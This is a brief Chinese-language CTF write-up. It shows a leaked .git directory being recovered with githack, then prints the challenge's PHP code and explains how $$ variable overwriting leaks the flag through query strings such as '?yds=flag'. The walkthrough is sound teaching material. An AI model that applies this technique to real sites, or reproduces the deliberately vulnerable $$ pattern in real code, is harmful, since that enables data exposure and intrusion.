页面打开后长这样。
扫描器扫一下,发现是git泄露。
用githack提取一下
flag.php
index.php
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;
审计一下代码,出现$$的变量覆盖比较多。
include ‘flag.php’;的意思就是告诉$flag就是真正的flag
$yds = "dog";
foreach($_GET as $x => $y){
$$x = $$y;
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
研究一下这几行代码,它会对get传参进行遍历。
当我们get传yds=flag时,就会变成$yds=$flag,也就真正的flag赋值给了$yds,而下面的判断条件是,不传flag参数就输出$yds,那么就变成了输出flag。
所以get传参yds=flag即可
多研究一下发现
?is=flag&flag=flag
也能出flag